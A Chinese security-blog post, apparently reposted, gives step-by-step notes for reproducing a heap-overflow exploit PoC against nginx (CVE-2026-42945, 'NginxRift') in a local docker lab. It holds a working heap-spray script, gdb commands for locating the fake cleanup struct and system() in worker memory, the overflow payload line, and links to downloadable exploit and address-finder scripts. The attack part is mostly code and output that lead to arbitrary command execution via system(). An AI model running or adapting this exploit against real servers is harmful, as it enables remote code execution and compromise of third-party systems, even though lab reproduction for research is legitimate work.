(回头看)NginxRift(CVE-2026-42945)PoC调试与复现笔记

admin 2026-07-08 04:55:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细记录了NginxRift漏洞的利用过程,核心是通过堆溢出和堆风水技术实现控制流劫持。关键步骤包括发送POST请求塑造内存布局,利用畸形URI触发漏洞覆盖关键指针,并查找fake_struct地址和system()地址。文档提供了手工和程序自动查找地址的方法,并给出了可操作的PoC修改与验证步骤。 综合评分: 91 文章分类: 漏洞分析,渗透测试,红队,内网渗透,漏洞POC


cover_image

(回头看)Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记

原创

MicroPest MicroPest

MicroPest

2026年7月5日 12:03 安徽

在小说阅读器读本章

去阅读

昨天,我们完成了《Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》,今天我们再复盘回头捋一捋。分为两个部分,一部分是手工找地下,二部分是程序自动找地址。

总结:

poc.py 是一个经典的 堆溢出 + 堆风水 + 控制流劫持 利用脚本:

  1. 用大量 POST body 在堆上”塑造”内存布局
  2. 用畸形 URI 触发 ngx_http_rewrite_module 的长度/复制不一致漏洞
  3. 溢出覆盖 ngx_pool_t.cleanup 指针
  4. 将 cleanup 指针指向 spray body 中伪造的 cleanup 结构
  5. pool 销毁时调用 system() 执行任意命令

其核心巧妙之处在于:利用 + 字符在 URI args 上下文中的 3 倍扩展特性,制造精确的堆溢出。

最核心的一句话:找地址。

一、目标

需要找到三个关键地址:

  1. spray body 中 fake_struct 的地址

    → 修改 HEAP_BASE

  2. 真正的 system() 地址

    → 修改 LIBC_BASE 或 SYSTEM_ADDR

  3. 确认地址通过 URI 安全过滤

    → 确保能作为 target_bytes

第一步:准备环境

确保容器在运行:

docker compose -f env/docker-compose.yml up

进入容器:

docker exec -it bash

容器内安装 gdb(如果还没装):

apt-get update && apt-get install -y gdb


第二步:找到 nginx worker PID

在容器内:

ps aux | grep “nginx: worker”

输出示例:

nobody     983  0.0  0.1  …  nginx: worker process

记下 PID,比如 983

【第一部 手工查找地址】


第三步:发送 spray 并保持连接

在 Kali 终端(不是容器内)运行:

python3 << ‘EOF’

import socket

import time

s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)

和 poc.py 一样的 body 构造

BODY_LEN = 4000

cmd = b’touch /tmp/rift_pwned’

fake_struct: SYSTEM_ADDR + data_addr(占位) + next(0)

SYSTEM_ADDR = 0x7ffff780ad70  # 先用 poc.py 里的值

fake_struct = SYSTEM_ADDR.to_bytes(8, ‘little’) + b’\x00′ * 16

cmd_bytes = cmd + b’\x00′

body = fake_struct + cmd_bytes + b’A’ * (BODY_LEN – len(fake_struct) – len(cmd_bytes))

req = (

    b’POST /spray HTTP/1.1\r\n’

    b’Host: l\r\n’

    b’Content-Length: ‘ + str(BODY_LEN).encode() + b’\r\n’

    b’X-Delay: 60\r\n’

    b’Connection: close\r\n’

    b’\r\n’

    + body

)

s.sendall(req)

print(f'[*] Spray sent, PID of this script does not matter’)

print(f'[*] Holding connection open for 60 seconds…’)

time.sleep(60)

EOF

这个终端会卡住 60 秒,不要关闭。


第四步:搜索命令字符串位置

在 容器内 执行,找到 spray body 中的 touch 字符串:

gdb -p -batch -ex “find /b 0x555555659000, 0x7ffff7778000, 0x74, 0x6f, 0x75, 0x63, 0x68” -ex “quit” 2>&1 | tail -20

输出示例:

0x5555556b347f0x5555556b9ebf0x55555571219f0x555555716faf0x55555571bdbf0x555555720bcf0x5555557259df0x55555572a7ef

这些就是 touch 字符串的位置。


第五步:计算 fake_struct 地址

cmd 字符串在 fake_struct 后面 24 字节处:

fake_struct_addr = cmd_addr – 24

比如第一个结果 0x5555556b347f

python3 -c “print(hex(0x5555556b347f – 24))”# 0x5555556b3467

所以候选 fake_struct 地址:

  • 0x5555556b3467
  • 0x5555556b9ea7
  • 0x555555712197

第六步:验证 fake_struct 内容

在容器内查看 0x5555556b3467

gdb -p -batch -ex “x/10gx 0x5555556b3467” -ex “x/s 0x5555556b347f” -ex “quit” 2>&1

输出:

 0x5555556b3467: 0x00007ffff780ad70      0x0000555555772148

0x5555556b3477: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x742f206863756f74
0x5555556b3487: 0x5f746669722f706d &nbsp; &nbsp; &nbsp;0x41410064656e7770
0x5555556b3497: 0x4141414141414141 &nbsp; &nbsp; &nbsp;0x4141414141414141
0x5555556b347f: "touch /tmp/rift_pwned"

确认:

  • 第一个 8 字节是 SYSTEM_ADDR(当前 poc.py 的值)
  • 后面是命令字符串
  • 再后面是 0x41 填充

第七步:检查地址是否 URI 安全

target_bytes 是 fake_struct 地址的 6 字节小端表示,必须每个字节都能出现在 URI 中。

检查 0x5555556b3467

python3 -c “

addr = 0x5555556b3467
for i in range(6):
b = (addr >> (i*8)) & 0xff
print(f'byte {i}: 0x{b:02x} = {b}')"

输出:

byte 0: 0x67 = 103   ← ‘g’

byte 1: 0x34 = 52    ← ‘4’

byte 2: 0x6b = 107   ← ‘k’

byte 3: 0x55 = 85    ← ‘U’

byte 4: 0x55 = 85    ← ‘U’

byte 5: 0x55 = 85    ← ‘U’

这些字节都是可打印 ASCII,能通过 addr_is_safe 过滤 ✅


第八步:找到真正的 system() 地址

在容器内:

gdb -p -batch -ex “p system”-ex “p/x (void*)system” -ex “quit” 2>&1 | tail -5

输出示例:

 $1 = {} 0x7ffff7808d70

$2 = 0x7ffff7808d70

所以真正的 system() 地址是 0x7ffff7808d70


第九步:修正 LIBC_BASE

PoC 中:

SYSTEM_ADDR = LIBC_BASE + 0x50d70

所以:

LIBC_BASE = 0x7ffff7808d70 – 0x50d70 = 0x7ffff77b8000


第十步:修改 poc.py

1. fake_struct 地址

HEAP_BASE =&nbsp;0x5555556b3467
PREREAD_HEAP_OFFSETS = [0]&nbsp;# 2. 正确的 libc 基址
LIBC_BASE =&nbsp;0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE +&nbsp;0x50d70# = 0x7ffff7808d70&nbsp;# 3. 恢复填充
payload =&nbsp;"A"&nbsp;*&nbsp;349&nbsp;+&nbsp;"+"&nbsp;*&nbsp;969&nbsp;+ target_bytes.decode("latin-1")

第十一步:验证

 python3 poc.py –cmd ‘touch /tmp/rift_pwned’

docker&nbsp;exec&nbsp;<container>&nbsp;ls&nbsp;-la /tmp/rift_pwned

成功:

-rw-r–r– 1 nobody nogroup 0 Jul 4 11:18 /tmp/rift_pwned

二、关键要点总结

| 要找的地址 | 方法 | 命令 | | — | — | — | | fake_struct | cmd 字符串地址 – 24 | gdb find /b ... 0x74,0x6f,0x75,0x63,0x68 | | system() | gdb 直接打印 | gdb -p <pid> -ex "p/x (void*)system" | | 安全性 | 检查 6 字节是否可打印 | python3 逐字节打印 |

最核心的技巧:保持 spray 连接打开,然后用 gdb 搜索内存中的命令字符串,反推出 fake_struct 位置。

附上昨天针对github上自带的docker镜像中Ubuntu22.04调试成功的poc:

通过网盘分享的文件:poc-kali.py

链接: https://pan.baidu.com/s/10420aPCz-b4KjH4AdFrCjg?pwd=x5jx

提取码: x5jx

【第二部 程序查找地址】

三、保持 spray 连接keep_spray.py

相当于【第一部】中的第三步。

cat > /tmp/keep_spray.py << ‘PYEOF’

import socket

import time

s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)

BODY_LEN = 4000

cmd = b’touch /tmp/rift_pwned’

SYSTEM_ADDR = 0x7ffff780ad70

fake_struct = SYSTEM_ADDR.to_bytes(8, ‘little’) + b’\x00′ * 16

cmd_bytes = cmd + b’\x00′

body = fake_struct + cmd_bytes + b’A’ * (BODY_LEN – len(fake_struct) – len(cmd_bytes))

req = (

    b’POST /spray HTTP/1.1\r\n’

    b’Host: l\r\n’

    b’Content-Length: ‘ + str(BODY_LEN).encode() + b’\r\n’

    b’X-Delay: 60\r\n’

    b’Connection: close\r\n’

    b’\r\n’

    + body

)

s.sendall(req)

print(‘[*] Spray sent, holding 60s…’)

time.sleep(60)

PYEOF

四、自动找地址的find_spray_v3.py程序

两个地址的来源不同:

  • HEAP_BASE

    → 在 nginx 进程的堆/data 段,需要发送 spray 后搜索

  • LIBC_BASE

    SYSTEM_ADDR → 在 libc 中,worker 一启动就固定,不需要 spray

直接给你一个脚本,它会:

  1. 发送 spray 并保持连接
  2. 搜索命令字符串 "touch"(比 SYSTEM_ADDR 更稳定)
  3. 自动计算 fake_struct 地址
  4. 验证地址是否 URI 安全
  5. 输出可直接复制到 poc.py 的配置

通过网盘分享的文件:find_spray_v3.py

链接: https://pan.baidu.com/s/1NofGT5Uywzbb_yGW1mRU_Q?pwd=p34p

提取码: p34p

四、如何使用这两个程序

在容器内运行:python3 /tmp/keep_spray.py

在kali、容器外运行:python3 find_spray_v3.py

输出已经给出了正确的配置:

HEAP_BASE = 0x5555556b3467

PREREAD_HEAP_OFFSETS = [0x000000]

LIBC_BASE = 0x7ffff77b8000

SYSTEM_ADDR = LIBC_BASE + 0x50d70  # = 0x7ffff7808d70

五、修改 poc.py 并验证

1、找到对应部分,替换成:

HEAP_BASE = 0x5555556b3467PREREAD_HEAP_OFFSETS = [0x000000,]LIBC_BASE = 0x7ffff77b8000SYSTEM_ADDR = LIBC_BASE + 0x50d70

同时确认填充长度是:payload = “A” * 349 + “+” * 969 + target_bytes.decode(“latin-1”)

2. 运行 PoC:python3 poc.py –cmd ‘touch /tmp/rift_pwned’

3. 验证:docker exec docker-CONTAINER ID ls -la /tmp/rift_pwned

应该看到:-rw-r–r– 1 nobody nogroup 0 Jul 5 11:27 /tmp/rift_pwned

这个完整版 find_spray_v3.py 同时解决两个问题:

| 地址 | 查找方式 | | — | — | | HEAP_BASE | 发送 spray → gdb 搜索 cmd 字符串 → 反推 fake_struct | | LIBC_BASESYSTEM_ADDR | gdb 直接打印 system() → readelf 获取偏移 → 计算 libc 基址 |

运行一次,直接输出所有需要修改的 poc.py 配置。

好了,经过复盘回头看,我们更加地理清了思路,对堆溢出的分析有了更加直观地认识。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:MicroPest MicroPest MicroPest《(回头看)Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》

    评论:0   参与:  0